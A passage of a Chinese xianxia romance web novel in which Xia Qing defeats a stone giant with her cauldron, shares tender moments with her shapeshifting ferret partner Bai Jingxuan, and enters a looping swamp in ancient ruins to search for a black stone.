夏清和柳菡云两个蝼蚁,与它提醒差距几如云泥之别,它却被这两个人类打断了一条腿。 石头巨人一声咆哮,抬脚踩向夏清。 夏清迅速掐诀。 巨大的阴影当头落下,夏清往右一个侧翻,精准避开巨人的脚。 那巨人的脚掌轰隆一声砸在地上。 霎时地皮崩裂,碎石翻滚。 夏清提前已有预判,气浪滚至身前时立即纵身一跃。 只听得噼里啪啦一阵脆响,大地像被掰碎的巧克力脆皮,龟裂一寸寸蔓延开去。 夏清避开那一道气浪,落地抬手,一只比她的身体大两三倍的青铜大鼎出现在她手中。 她死死抓住福生鼎的大耳朵,用力一抡。 鼎身撞击巨人右脚脚跟,轰一声响,石头巨人右脚再此碎裂,身体不由自主向旁边倾倒。 柳菡云见状目瞪口呆:“哇!” 福生鼎还能这么用! 眼看夏清被反震之力弹开,柳菡云立即反应过来,手中玉扇一甩,唰唰几道风刃斩向巨人另一条腿。 双腿皆废,石头巨人无法站立,身体完全倒下,两条胳臂在空中胡乱挥舞,试图抓住两个蹦来跳去的臭虫般的人类。 夏清看准机会,将福生鼎高高抛起。 巨人修复双腿还需要时间,如此一来,她们便创造了进攻的先机。 大鼎腾空,在空中悬停,像一个吹了气的气球迅速膨胀,由丈许高变大三倍,直到将整个石头巨人笼罩。 石头巨人预感到危机,挣扎着想要起身。 夏清哪会给它机会,她意念一动,大鼎便通过契约接收到指令,轰隆一声倒扣下来。 福生鼎两侧耳朵似的把手深深嵌入石地,将石头巨人牢牢封印。 这场景叫人叹为观止。 “不愧是福生鼎!”柳菡云拍手叫绝。 夏清脸上神情却不轻松,她双手掐诀,神情专注,通过与福生鼎的契约感受鼎内那石头巨人的状态。 福生鼎不仅将石头巨人困在鼎下,更是切断了石头巨人与鼎外空间的联系,它因而无法驱使碎石泥尘填补双腿缺损,只能躺在地上无能狂怒。 夏清心念稍稍一动,福生鼎鼎身便开始缩小。 青铜大鼎内部空间皱缩,石头巨人觉察异动,顿时惊慌失措。它双手抓地匍匐着往外爬,钻起拳头当当敲响福生鼎内侧壁。 夏清咬咬牙,继续压缩鼎身。 只这一小会儿,她脸色已有些发白。 福生鼎以如此形态出现,消耗的法力不可估量。 此方天地又没有足够它吸纳的天地灵气,因而全靠夏清自身法力为其提供支撑。 如果不能在石头人破鼎而出之前将大鼎收回手掌纹印之中,光是与石头巨人对峙所需要的法力对她而言都是巨大的负担。 福生鼎已收缩到一半大小,鼎内石头巨人还没有放弃,抗拒之力愈演愈烈。 小雪貂趴在夏清肩头,很快发现夏清异样。 她将小爪子按在夏清肩膀上,将体内并不充沛的法力注入夏清身体。 然而对抗石头巨人的消耗太过巨大,它受限的法力杯水车薪。 于是它眼睛一扫,瞧见一旁正喘气休息的柳菡云。 柳菡云一边感叹夏清厉害,一边拍尽自己身上沾染的泥尘。 她正要起身,忽然小臂狠狠一痛。 低头一瞧,毛茸茸的小雪貂正挂在她的小臂上。 “你……”柳菡云嘴唇动了动,后面的几个字还没来得及发声,强烈的晕眩感便骤然袭击了她。 顷刻间天旋地转,体内法力被神秘力量抽调一空。 柳菡云脑袋歪了歪,扑通一声倒地昏迷。 夏清正与石头巨人艰难对峙,法力消耗殆尽,她的身体也显出疲态,渐渐力不从心。 忽然一只手轻轻按住她的肩膀,随后源源不断的温热力量便从那手掌与她肩膀相触的地方轻柔地涌进她的身体。 夏清精神一振,当机立断加大法力输出。 福生鼎因此加速收缩,对峙之势被外力打破,石头巨人再无反抗之力。 夏清借机一鼓作气,福生鼎径直收缩到巴掌大小,夏清探手一招,那小鼎便腾空飞起,落入夏清掌中,化作一道暗青色流光,融入她掌心纹路之中。 “好险!”夏清长出一口气,差点就因为法力不够而失败。 没想到柳菡云这么有眼力见,还晓得过来帮忙。 夏清扭头看向身侧:“师姐,方才多亏你……” 话到一半,戛然而止。 站在她身侧,将一只手搭在她肩膀上的,并不是柳菡云。 而是长着一双可爱兽耳朵的清冷美人,白镜玄。 听见夏清开口就唤师姐,白镜玄冷淡的脸孔神情不变,只眉梢轻轻抬起:“你心里就只有师姐?” 夏清:“……” 请问谁会想到你屡次大变活人呢? “你既然能化形为什么一开始不帮我?”夏清脑子反应很快,理直气壮地倒打一耙,“热闹很好看吗?” 白镜玄语塞:“那是因为……” 她的话没说完,因为夏清已经看到不远处躺在地上的柳菡云。 回忆起上次白镜玄化形时的举动,夏清触类旁通,立马明白过来。 于是,她抬手指向柳菡云:“所以,你是这样化形的?” 白镜玄眼神游移。 头上两只毛茸茸的圆耳朵耷拉下去。 “咳。”语气心虚,“……只是一些意外。” 第45章 第四十五章 没等夏清质问, 白镜玄已快速找到借口,抢白道:“她脑子不大灵光,跟她沟通让她帮你, 不如我自己来更快一些。” 夏清:“……” 好像这么说也没毛病, 柳菡云那个理解能力确实让人堪忧。 但这不代表夏清会真的被白镜玄忽悠。 她又好笑又无奈, 世上哪有人这样做前辈的, 真是小心眼儿。 “那你也不至于把她弄昏迷吧?”夏清睨白镜玄一眼,“昨日你吸纳我体内法力化形之时, 我不好好的吗?” 白镜玄眼睛瞥向一旁:“可能因为她体质差一些。” “这话你自己信吗?”夏清好笑。 白镜玄绷着脸,表情淡淡的,闻言不着痕迹地撇了撇嘴。 夏清哪猜不到她心里在想什么, 这人性格如此古怪, 率性妄为,可这样的偏私又确实让夏清无法真的生气计较。 白镜玄正不以为然东瞅瞅,西看看, 忽然唇边传来一点凉意。 夏清倾身,蜻蜓点水一般在她唇角一吻,不吝惜夸奖:“今日确实多亏你。” 若不是白镜玄,她们找不到藏在地下的宝物, 若不是白镜玄,她也很难凭借自身的力量制住石巨人。 白镜玄愕然之余,与夏清对视一眼,眼波霎时便柔和了。 清儿还是懂她。 反正柳菡云也已经昏过去, 夏清没什么顾忌,身子微微一歪, 倚靠在白镜玄身上。 与石巨人大战一场,她体内法力再次耗损一空, 也确实需要一些时间休息。 白镜玄轻搂夏清腰身,另一只手与夏清十指交握,将法力缓缓渡入夏清身体,帮助夏清恢复体力。 夏清放松身体享受这一刻难得的温馨。 近来为了寻找奇兽之血治疗白镜玄的毒伤,她与柳菡云一直奔波劳碌,途中还屡遭艰险,基本上没好好休息过。 如今白镜玄在身侧,她紧绷的精神才得以稍稍放松。 夏清闭眼靠在白镜玄怀里,小声问她:“你的人身能维持多久?” 白镜玄垂眸:“一炷香。” 夏清:“哦。” 白镜玄忽然轻哼一声:“柳菡云平日修炼太怠惰了。” 夏清:“??” 短暂疑惑之后,夏清明白过来白镜玄为何这么说。 肯定是因为柳菡云的法力不够她多维持一会儿人身。 夏清忍不住笑开:“你别太离谱。” 白镜玄任由她笑,也不说话,只低头将脸颊贴着夏清额头。 夏清敏锐地觉察到白镜玄有些异样的情绪,遂抬了抬眼,视线逆着阳光落在白镜玄干净的侧脸上。 她问:“你怎么了?生气啦?” 白镜玄摇头。 夏清欲撑起身,被白镜玄揽住肩膀,按回怀抱之中。 她也不坚持,乖顺地伏在白镜玄怀里,问她:“那你怎么不说话?” 白镜玄喉头动了动,许久才开口:“我能为你做的太少了。” 受限于异兽之躯,法力被毒素所化,化形都极为不易,更遑论与夏清多一些时间相处。 若非她大意,感染了异兽之毒,她与夏清二人本该在圣宫中共庆兽人大典,卿卿我我好不快活。 如今,她护不了夏清,还得假手于她人。 白镜玄突然这么说,夏清委实是有点不习惯。 她脑子转了转,忽然说:“眼下你就有一个弥补我的机会。” 白镜玄尚未意识到问题的严重性,情绪低落地问她:“什么?” 于是,夏清伸手捏了一把白镜玄的耳朵。 白镜玄:“!” 圆圆的雪貂耳朵,触感手软,特别好摸。 眼看白镜玄扭头想躲,夏清笑得不怀好意:“不准躲,你不是想补偿我吗?给我捏一下怎么了?” 白镜玄:“……” 她身子僵着不再试图闪躲,夏清得以放肆捏她的耳朵。 左边捏捏,右边捏捏,左右手一起捏捏。 一抹绯色爬上白镜玄的脸颊,再以肉眼可见的速度弥漫开。 夏清捏得兴起,手法渐渐变了,像捏小猫的耳朵似的,旋转着轻轻揉捏白镜玄的耳朵根。 小动物的耳朵是很敏感的,异化为兽人的白镜玄也难逃此劫。 夏清手指按揉过的位置,似着了火,激起一簇簇的电花,灼得白镜玄心口滚烫。 白镜玄薄唇微抿,清雅的脸孔染上淡淡薄红,呼吸的节奏也越来越慢,越来越深。 而夏清沉迷于把玩兽耳,丝毫没有发现白镜玄神态变化。 夏清食指轻轻拨动白镜玄的耳朵尖,见那圆圆的耳朵倒下去又弹起来,惊奇不已:“这耳朵居然是真的耶。” 白镜玄忍无可忍,一把抓住夏清手腕。 夏清:“?!” 没等她表露惊讶,白镜玄微凉的指尖已轻松挑起她的下巴。 “唔……” 白镜玄封住夏清的唇,口中柔软灵活的舌头技巧性十足地叩开夏清牙关,邀请夏清与她追逐嬉戏。 猝不及防被白镜玄吻住,夏清轻易受制,等她回过神来,已叫白镜玄得逞,好好亲了个够。 白镜玄恋恋不舍地松开夏清,薄薄的嘴唇被吮得充血,显得愈发饱满,晶莹透亮。 夏清视线被白镜玄性感的薄唇吸引过去。 刚才被吻得急,她紧顾着发蒙,没怎么享受到接吻的愉悦,不尽兴。 于是她又主动贴过去,双手环住白镜玄的脖子,拉近彼此距离,要找回场子,再好好吻一次。 她如饿虎扑食,却亲了个空。 睁眼,她那么大个仙侣凭空消失了。 白镜玄还没意识到自己变成了小雪貂,四肢短短趴在夏清怀里,闭眼扬首,等着夏清亲她。 夏清:“……” 和雪貂接吻那是万万不可能的,但夏清也能想到被拒绝之后,白镜玄该是怎样失落。 于是她微微低头,拿自己的鼻子与小雪貂轻轻碰。 小雪貂倏地惊醒过来,这才发现自己化形的时效已经结束。 它果然失落,一双黑乎乎圆溜溜的豆豆眼都仿佛失去了光彩。 夏清心软,将它抱起来,脸颊贴贴:“我们早日找到奇兽,就能治好你。” 小雪貂收拾好心情,乖乖趴在夏清怀里。 这时,柳菡云终于醒了。 她睁开双眼,神情十分茫然。 虽然但是,她是怎么昏迷的来着? 一时想不起来,柳菡云撑着胳臂艰难起身,小臂突如其来的剧痛引起她的注意。 抬起胳臂,手腕处清晰可见四个血窟窿。 死去的记忆陡然复苏,柳菡云原地起跳左顾右盼,不远处,夏清和她的小雪貂正深情相拥。 “夏师妹!”柳菡云快步走向夏清,指着她怀里的雪貂控诉道,“这貂儿刚才偷偷咬我!” 夏清故作惊讶:“啊,是吗?” 小雪貂在夏清怀里翻了个身,小脑袋顶起夏清的手掌,挺直身板儿与柳菡云对峙。 “没错,我被它咬一口,刚才还晕倒了!”柳菡云言之凿凿。 夏清起身,抱着小雪貂朝柳菡云颔首:“我刚才与石巨人交手消耗太多法力,没看好它,真是抱歉。” 柳菡云只是一时生气找夏清控诉一下小雪貂的恶行,但并没有想让夏清跟她道歉。 夏清突然如此,她反倒手足无措。 “诶,你不必如此……”柳菡云手忙脚乱扶起夏清,语气颇为尴尬,“无知小兽喜欢咬咬人也很正常,它跟我闹着玩呢,我没有生气,不是来怪罪它的,你别这样。” 夏清星星眼:“师姐,这样你都不生气,你人太好了吧。” 柳菡云被夸得不好意思,抓抓后脑勺:“哈哈。” 小雪貂瞪她一眼:哼。 清儿还从来没夸过她人好。 难道她人不好吗?! 柳菡云揭过此事不提,取出先前拿到的金菇:“此物大抵可以入药,不如也让福生鼎炼化了吧。” 夏清却道:“这金菇还是师姐收着吧。” 柳菡云意外:“为何?” 此物分明是夏清和貂儿找到的。 “师姐与我结伴而行,互相帮扶才是正理。”夏清晓之以理,“师姐助我良多,此番恶战石人也出力不少,你就收下此物,我有福生鼎在手,寻得天材地宝不是难事。” “我怎么能白拿师妹的东西。”柳菡云摆摆手,断不同意,“此战师妹才是主力,哪有我拿走宝贝的道理。” 而且,若非她一时大意引发祸端,这场大战或许可以避免。 她若拿走战利品,内心定会十分羞愧。 “你且先收着便是。”夏清态度强硬,不给柳菡云再反驳的机会,翻开手掌露出福生鼎,岔开话题,“我还有另一件事需与师姐细说,那石头巨人被福生鼎炼化之后,留下一样东西。” 柳菡云闻言,立马好奇,转移了注意力:“什么?” “且稍等片刻。”夏清说完,左手掐了个诀,朝福生鼎注入一丝法力。 须臾间,青铜小鼎出现在夏清掌心。 柳菡云扬眉,方才就是这只小鼎干掉了石头巨人,真是不可思议。 夏清手诀改变,作抓拿之势,隔空抓住一物往外拽。 片刻后,此物在夏清掌中展现全貌。 是一条……擀面杖大小的铁杵。 夏清疑惑:“这是什么用来包饺子的神器吗?” 柳菡云和小雪貂同时沉默。 铁杵两端有祥云形状的花纹,入手质感寒凉,材质其实不赖。 夏清将这铁杵握在掌中掂了掂,该说不说,还挺趁手。 柳菡云突然发出一声惊呼:“诶,这里好像有字。” 夏清顺着柳菡云所指看过去,只见那铁杵末端果然有几个小字。 这几个小字与祥云花纹镌刻在一起,不大显眼,所以刚才夏清才没有看见。 柳菡云定睛一瞧,将这几个小字缓缓念出来。 “定沙神针。” 夏清:“……” 什么盗版玩意儿啊! 第46章 第四十六章 定沙神针一出, 夏清真的绷不住。 她穿进来的这个故事真的很怪,蛮荒大陆上有兽人就算了,现在还出现了定海神针的盗版法器。 柳菡云却兴致勃勃:“哎呀, 这应当是件不错的宝贝, 夏师妹你快收好!” 夏清:“……” 事已至此, 好像不收也不太行。 虽然她真心实意地认为这玩意儿拿在手里非常丢脸, 但这个书中世界好像没人知道定沙神针的原形是定海神针。 夏清依言将定沙神针扔回福生鼎中收好。 因为内心羞耻的道德感,她都没有验一下这定沙神针的功用。 反正以后也用不到啦, 夏清心想。 还以为天上掉下个馅儿饼,结果是空欢喜一场,终究还是福生鼎最为实用, 能扛能打, 还能装。 夏清不愿就那盗版法宝多聊,五指一捏收起福生鼎,而后便道:“走吧, 我们已耽搁了不少时间,还是速去荒古遗迹。” 说完,她想起什么,看向柳菡云:“师姐, 你的身体还好吗?” 被白镜玄抽干体内的法力,只怕短时间内无法赶路。 夏清暗道疏忽,立即便改口道:“不若还是找个地方歇歇脚,休息一日再走。” 柳菡云却道:“我挺好啊, 没什么问题,不用休息!走吧!” 不等夏清再回答, 她已左顾右盼判断方位,抬步动身。 “往这边走!” 柳菡云健步如飞, 夏清跟在她身后,叹为观止。 师姐这体质简直不要太好使。 她被白镜玄吸一下,休息了足足一整晚才勉强恢复,柳菡云只需一炷香的时间,就能自如行动。 见状,夏清忽然解开了一道心结。 她怎么会觉得自己阴差阳错得到福生鼎,便算抢了柳菡云的主角剧本,会影响柳菡云日后的发展? 根本不可能。 因为她俩的修炼天赋完全不是一个层级。 意识到这一点,夏清郁结的心绪疏解开来,连带着脚下步子都变得轻松了。 如此又跋涉一个多月,夏清和柳菡云终于来到荒古遗迹的入口。 荒古遗迹是上古神魔交战的战场,战后废墟空间状态紊乱,与蛮荒大陆分割开来,只有数道虚空裂缝与之相连。 同时,荒古遗迹临近魔渊,战场内部也有一些与魔渊相连的虚空接口。 魔族最为残忍凶恶,相传魔以人为食,生啖人肉,生饮人血,若非这荒古遗迹中残余的神力压制了魔族的力量,只怕这些魔族早就跑到蛮荒来作恶了。 而魔族之所以被镇压于魔渊之中,正是上古时期仙神一气,配合蛮荒人族妖族势力,一同将魔打入魔渊。 因此,魔族对仙族、神族,乃至妖族、人族,全部恨之入骨。 荒古遗迹镇压魔渊,距离魔渊极近,若非情况特殊,没有人愿意到魔族家门口胡乱晃悠。 夏清和柳菡云花了将近半个月的时间才找到一条松动的虚空裂缝。 但这条裂缝太小,只能容一个人通过。 看着虚空中闪烁波动的诡异缝隙,夏清头皮略略发麻,不放心地问道:“从这里进去,我们会不会走散?” 柳菡云沉吟须臾,点头道:“可能会,这条裂缝的状态很不稳定,大概率是会分散的。” 夏清闻言,面露担忧,蹙眉思量:“应该有什么法子可以一起进去才对。” 她出发之前,兽人女皇曾言要派队伍来荒古遗迹与夏清同行,倘若不能多人同时进入,那么派再多的人手也没有实际意义。 柳菡云抓了抓后脑勺,这触及了她的知识盲区。 便在此时,小雪貂蹿上夏清肩膀,小爪子招了招,让夏清将胳臂抬起来。 柳菡云尚未明白小雪貂的意思,夏清已抬起一边胳臂。 小雪貂一只小爪爪捧起夏清的手,另一只爪爪在夏清掌心比划比划,不一会儿,夏清手背上出现一个花瓣形态的纹样。 柳菡云认出来:“临时契约!” “临时契约?”夏清看向手背上的花纹,疑惑,“这有什么用?” 柳菡云知无不言:“能感应契约伙伴气息,锁定方位,还能通过纹印变化判断对方的生存状态。” 夏清“喔”一声,法术真是神奇的东西,像极了现代社会的GPS定位系统。 比GPS还高级呢。 柳菡云犹自不可思议:“你这小貂儿还会施展如此高深的契约法术?你教它的?” “你看我像会这种法术的人嘛?”夏清摊开手耸耸肩,“我们小貂儿无师自通,天赋异禀。” 说着,她看向肩上小雪貂,笑眯眯地扬了扬下巴:“对不对?” 小雪貂甩了甩尾巴,忽然小身子凑上前,用鼻尖碰碰夏清的额头,以示回应。 柳菡云见状,两眼亮晶晶,指着自己的额头凑近小雪貂:“小貂儿,我也要碰碰!” 下一秒,她脸上多了几条红杠杠。 柳菡云眼角噙着水汪汪的泪花:“过分!知道你偏心,但没想到这么偏心!” 夏清:“……” 她两眼游移,脸颊泛起一点点不易觉察的红晕。 幸好柳菡云不知道小貂儿就是白镜玄。 “不碰就不碰!”柳菡云朝小雪貂抬起胳臂,“临时契约总得给我整一个吧?” 面对柳菡云合理正当的请求,小雪貂却无动于衷。 柳菡云不得已,只能求救夏清。 夏清无奈,发话:“帮师姐弄一个。” 小雪貂这才不情不愿地挥挥小爪子,寥寥草草地在柳菡云手背上画了个大王八。 柳菡云气得眼歪嘴斜:“太过分了!!!” 夏清实在忍不住,不小心笑出声,待柳菡云一脸受伤地看过来,她才忍着笑清了清嗓子,劝慰道:“一个临时契约,等我们找到奇兽血从遗迹里面出来,取消就是了。” 契约画都画上了,又不是说改就能改,柳菡云虽然沮丧,但也识大体,不再计较。 柳菡云长叹一口气:“我算是彻底明白了,夏师妹养的小貂儿,上辈子肯定跟我有仇!” 夏清斜睨小雪貂一眼,心说:保不准是这辈子结下的仇怨呢。 “事不宜迟。”夏清转移话题,“我们尽快出发吧。” 柳菡云认命当个受气包,朝夏清摆摆手,便一头扎进虚空裂缝之中。 见其身影消失于裂缝之后,夏清这才无奈道:“你老这样,师姐会伤心的,玩笑适可而止才好。” 小雪貂不与夏清对视,仗着自己眼下模样可爱,尾巴散漫地甩了甩。 “算了。”夏清摇头,不再言及此事,“反正你肯定知晓轻重。” 小雪貂扭头,定定望着夏清侧脸。 却见夏清眉头紧锁向虚空裂缝,面露担忧:“待会儿是不是你我也会走散?” 她实在不大放心,遂仔细叮嘱道:“你若落单,就找个地方先躲起来,等我来寻你,千万不要自己冒险,知道吗?” 小雪貂黑乎乎的眼珠子明亮有神。 夏清说完,它摸样乖巧地出声回应:“吱。” “那我们也出发吧,别让师姐等得太久。”夏清深吸一口气,迈步走进裂缝之中。 紊乱的空间形成巨大压力,挤压夏清的身体。 有那么一瞬间,夏清感觉胸腔凝滞,难以呼吸,而且头晕目眩。 于是她不得不屏气凝神,等着这一阵难受的异样感自行褪去。 这种压力持续了大概半分钟,倏然减轻。 空气气压略略降低,但比蛮荒高出不少,好在还在夏清肉身承受范围之内。 适应了蛮荒蓬松的物质密度,再来到一个与仙界自然规则相似的地方,夏清陡然间有些难以适应。 天空暗沉沉的,这个空间混乱的地方没有太阳和月亮,只云层中不时闪烁的雷光照亮大地,带来转瞬即逝的华光。 满目疮痍的大地上散落着残破风化的遗迹,目之所及,辽阔深远。 “……” 等等,辽阔深远? 夏清低头看向脚下。 她双脚悬空,距离地面至少还有几十丈远。 身体短暂停滞之后,忽然失重,一股巨大的地心引力拉扯她往地面坠落。 “我靠啊啊啊啊!!”夏清放声大喊。 荒古遗迹的自然规则与仙界类似,从这么高的地方摔下去,她肯定会摔散架的! 谁来告诉她,她为什么会这么倒霉! 眼看大地寸寸逼近,夏清绝望地闭上眼睛。 这辈子就算了,等下辈子吧。 刺啦—— 夏清肩上衣服一紧,同时耳边传来布帛脆响,身体坠落之势也大大减缓。 她不可思议地睁开眼睛,扭头看向声源。 肩上的衣服被雪貂小爪爪死死抓着,那软乎乎的小身子倒吊在半空中,尾巴抡圆了,竟像竹蜻蜓一般飞起来。 夏清:“?!” 太奇怪了,再看一眼。 果然是小雪貂在飞。 雪貂的尾巴能变成竹蜻蜓吗? 夏清风中凌乱。 不多时,小雪貂凭一己之力拽着夏清安全着陆。 夏清刚刚落地站稳,它便一溜烟儿钻进夏清怀里。 它的法力受限,小身子很不方便,就飞这么一小会儿已经将它体内残余的法力好损一空,可给它累惨了,得好好歇一歇。 夏清抱着小雪貂一脸懵逼。 很久之后,她反应过来,终于注意到一个华点。 “不是,你为什么会跟我在一起啊?” 不是穿过裂缝就会随机分散吗? 柳师姐已经半个影子都见不着了,可白镜玄却和她降落在同一个地方。 难道…… 夏清扬起眉毛。 是因为她和白镜玄天生一对,所以受命运眷顾撞上了极低概率的中彩票事件? 怀里,小雪貂动动耳朵,但没力气也没功夫搭理夏清。 或许要很久以后,夏清才会知道答案。 她在夏清手背上画的是伴侣契约。 第47章 第四十七章 伴侣契约, 顾名思义,要双方心心相印,真心相待, 契约才能成功。 这个伴侣契约, 成功刻印在夏清手上, 没有丝毫难度, 足以表明很多内容。 白镜玄安安心心合上双眼,伏于夏清怀中浅眠。 她决定今日之后就不再和柳菡云计较了。 夏清对白镜玄私下动的手脚一无所知, 只当是走了狗屎运,才能和白镜玄掉落在同一个地方。 不必和白镜玄分开,她也委实松了一口气。 看小雪貂这弱不经风的样子, 可不能让它独自涉险。 方才飞那一小会儿, 可给小家伙累着了,钻进她怀里不一会儿便昏睡过去。 夏清定了定神,先摸摸小雪貂的脑袋, 见它只是睡着,没有旁的异样,这才放下心来,扭头观察四周情况。 周围是一片沼泽地, 瘴气弥漫,满地乌黑发臭的湿泥,刚好夏清着陆的这一片有一小块干净的地面。 可见白镜玄为* 了不让她弄脏衣服,多花了一些心思, 也费了些体力。 夏清对白镜玄此举心怀感激。 手背上临时契约闪烁淡淡的白光,为夏清指示柳菡云所在的方位。 夏清仔细辨清路况, 这些沼泽不知深浅,很可能一脚踏进去就出不来。 此地阴森诡异, 四周一片寂静,比上回夏清独身探那山神洞府愈发吓人。 按照夏清驱邪除妖多年的经验来看,此地必不可能干净。 走了约摸一个多时辰,夏清停下脚步。 这沼泽地周围看起来都一个样子,为了辨别方向,夏清特地在走过的地方做了记号。 此刻,她脚边一截枯木桩子上,一条拇指长的记号清晰可见。 绕回来了? 夏清皱起眉头。 来此之前,夏清已从柳菡云口中听说了一些有关荒古遗迹的传闻。 这里因为上古时期神魔交战,空间遭到严重破坏,而且还有古法残留,发生什么古怪的事情都不稀奇。 所以,迷路应该也不稀奇。 夏清叹了口气,照这样下去,她何时才能找到柳菡云。 “……” 不对啊。 夏清静默须臾,忽然意识到什么。 她分明一直按照临时契约感应的方向走,哪怕中途有向左或向右偏移,那也偏移不了太多,怎么会走回来呢? 这哪是简简单单的迷路,分明是鬼打墙。 她咬破手指,画符唤出可照见幽邃的小灯笼。 灯笼蓝蒙蒙的微光照见地面上刚留下不久的脚印。 好家伙,竟不止一行,她已绕回此处两转了。 地上除了她自己的脚印,没有别的痕迹。 夏清上辈子就常跟鬼怪打交道,见此情形也不急不躁,借小灯笼照路,继续往前走。 每当前面出现岔路,她便选先前没走过的那条继续往前。 如此往复好几个时辰,她又回到枯树桩旁。 满地都是她自己的脚印,从这里往外延伸的所有岔路都被她走过了。 夏清:“……” 这可不大妙。 此次拦路的小鬼未免也太厉害了。 便在此时,一阵嘻嘻笑声传进夏清的耳朵,同时一抹黑影从夏清身侧闪过。 待她扭头看去,那影子又不见踪迹。 夏清微微迷眼,沉吟片刻,决定不予理会,继续提溜着灯笼往前走。 不多时,那影子又从她身侧掠过,伴随嘻嘻哈哈的笑声,听来诡异极了。 夏清依然不搭理它,又朝前走了一小段。 那屡次前来骚扰的精怪见夏清对它的恐吓无动于衷,脑子一转,忽然从空中俯冲下来,伸手抓向夏清的小灯笼。 噗—— 一张黄符不偏不倚贴上它的脑门。 它伸出的手悬在半空,身体也被未知的力量定住,竟然进退两难。 身体动不了,精怪惊慌失措:“你对我做了什么?!” 话音落下,笼罩在它身体四周的黑雾轰然散去,露出其下真容。 “原来是一棵草精。”夏清瞥它一眼,判断道。 这精怪虽长着人类幼童的模样,但内里却是一棵野草,在这天地灵气匮乏,瘴气毒雾充斥的环境中能幻化为精怪实属不易。 夏清感到奇怪。 以着小草精的法力修为,应当无法布下如此规模的迷瘴。 小草精被黄符制住,脸上笑容小时,开始大喊大叫:“放开我!” “是你先动的手。”夏清可没有那么好说话,眼珠子转了转,“你若愿引路带我走出这片沼泽,我便放你自由。” 小草精回答夏清:“你走不出去的!我困在这里两百多年,从没有见过哪个活人走出沼泽!你快放开我!” 夏清白它一眼,揪出它话语中的漏洞:“这里根本就没有活人。” 这小草精古怪调皮,冥顽不灵,好言好语沟通起不到作用。 夏清遂板起脸来,语气冷漠:“你既不肯听话,那我留你也没什么用,不如炼化了提升我的修为。” 说着,手掌翻开,取出福生鼎。 小草精没见过福生鼎,但此鼎一出,它真切感受到一股令它心惊胆战的寒意。 “诶,别别别!”小草精大声喊道,“我有用的!你想从沼泽上面出去确实行不通,但还有别的法子!” 夏清闻言,暂时按下福生鼎,问它:“什么法子,细细说来。” “沼泽底下有块很大的黑石头,据传那是上古时期神魔交战留下来的宝贝,封锁这里的屏障就是那块黑石头造成的,你把它收走,自然就能出去了!” 沼泽下面的黑石头? 夏清蹙起眉头,仔细观察小草精,斟酌它这句话是不是圈套。 “我这黄符上涂了专门针对你这种精怪的毒药。”夏清一本正经地说道,“如果我遭遇不测,你拿不到解药,就会被毒药侵蚀精魄,魂飞魄散而亡。” “那你快给我解药!”小草精吓得头顶上长出一丛小草,“我修炼了两百年才有人形,我不要死啊!” 夏清无动于衷:“若你不是骗我,待我从沼泽出去,自然会给你解药。” 小草精急了:“我说得是真的!我没有骗你!” 夏清抬了抬眉,轻描淡写地说:“那也要等我验证了再说。” 眼看夏清转身要走,小草精语气惊慌:“你先放开我!我跟你一起!” 倘若此人在找黑石头的途中出了什么意外,那它不是死路一条? 不行,它得去看着才可以! 夏清停下脚步,回头看它一眼:“你有什么用?” 小草精急忙证明自己:“我知道它在哪里!我可以带你去!” 夏清勉为其难:“也行吧。” 同时,心头暗笑:这小草精好像不太聪明。 她单手掐了个诀,解开黄符上的定身咒,小草精身体恢复行动,忙不迭就要伸手撕掉脑门上的黄符。 然而,它手刚碰到黄符,便听噼啪一声脆响,湛蓝色的电火光吓得它一个激灵。 “别乱折腾。”夏清警告它,“你已经中毒了,撕掉它也没有用。” 小草精龇牙咧嘴,这人类好生厉害! 它愈发不敢得罪夏清,乖乖收回手,招呼夏清:“你跟我来!” 夏清跟在小草精身后朝沼泽深处走去,这条路也是她先前走过的。 小草精对此地环境了如指掌,行至某个地方,它忽然停下脚步,指着两步开外对夏清说:“这里再往前走,就会回到先前走过的地方。” 夏清看向小草精所指之处。 道路连接自然流畅,以肉眼根本看不出分别。 夏清沉吟:“所以,这里就是黑石头造成的屏障边界?” “没错!”小草精转变方向,带着夏清走向另一边。 前面便是夏清没来过的地方了。 之所以没有来过,是因为此地沼泽覆盖面积特别大,几乎没有可下脚的地方,是条死路。 最后,小草精在此地最大的沼泽边缘停下脚步,告诉夏清:“黑石头就在这片沼泽下面,你要拿到黑石头,就得从这里下去!” 从这里,下去? 沼泽深处视野特别昏暗,云层中仅剩的一点雷光也被深渊般的泥沼吞噬了。 放眼望去,目之所及是一大片黑漆漆的泥沼,像深海鲶鱼张开的大嘴巴,往前走一步就会被囫囵吃掉。 夏清唇边勾起一抹邪魅的冷笑。 不存在的。 她怎么可能自己到沼泽底下去找那什么黑石头。 且不说这沼泽多深,她下去了还能不能回来,光是想想这一潭黑泥糊在身上的感觉,她就不能接受。 不过,来时路上,她早已想好对策。 她翻开手掌,掌心洇开绿莹莹的微光。 光芒凝聚成型,化作福生鼎,被夏清托在掌心。 下一秒,夏清抬手将福生鼎抛入沼泽之中。 “不找到黑石头你就不要回来了!” 福生鼎:“……” 第48章 第四十八章 幸好福生鼎不会说话, 不然夏清都能想象它会骂得有多脏。 福生鼎陷入泥沼,夏清掐诀念咒,令它体积膨胀。 毕竟在这开阔的沼泽地里要寻一块黑石头, 难度虽然比不上大海捞针, 但也绝非易事。 夏清还要抓紧时间去找柳菡云, 不得不耗费一些法力成本, 尽可能缩短寻找黑石头的时间。 投身入泥沼寻石头的虽然是福生鼎,但夏清与福生鼎有契约相连, 约能分享福生鼎三成左右的灵识视野。 福生鼎在泥沼中艰难前行时,夏清感受到一大群巴掌大的活物撞击鼎身。 起先,夏清以为这股阻拦福生鼎的力量只是巧合, 被撞开之后, 她立即换一个方向继续寻找。 当第三次感受到鼎身被撞,夏清从中嗅到一丝共性,于是再驱使福生鼎朝她预想的方位继续推进。 不久, 意料之中的撞击果然出现。 夏清明白过来,这股突然出现的力量,在阻截福生鼎。 它们保护着什么东西,不让福生鼎靠近。 这泥沼底下能被神秘力量守护的, 除了小草精说的那块黑石头,还能有别的什么? 种种迹象,让夏清对小草精说的话更多了两分信心。 随即她变换手诀,给福生鼎施加了一道速极令, 福生鼎移动速度立即加快,势头强硬地冲破外层封锁, 到达泥沼正中。 通过福生鼎感应到的模糊视野中,夏清看见泥沼深处有个碗口状的大坑, 坑底果然斜斜立着一块黑色的大石头。 那大石头约摸半丈高,斜插在沼泽底部的淤泥中。 当夏清看见那大石头时,身后泥沼搅动,一大群泥鳅似的活物横冲过来,试图干扰大鼎行动。 夏清眯起眼,再次变换手诀,向福生鼎施加一道雷令。 轰—— 一声爆响,泥沼沸腾,污泥四散飞溅,夏清躲闪不及,被一大团淤泥迎面泼到脑门上。 夏清:“……” 失策。 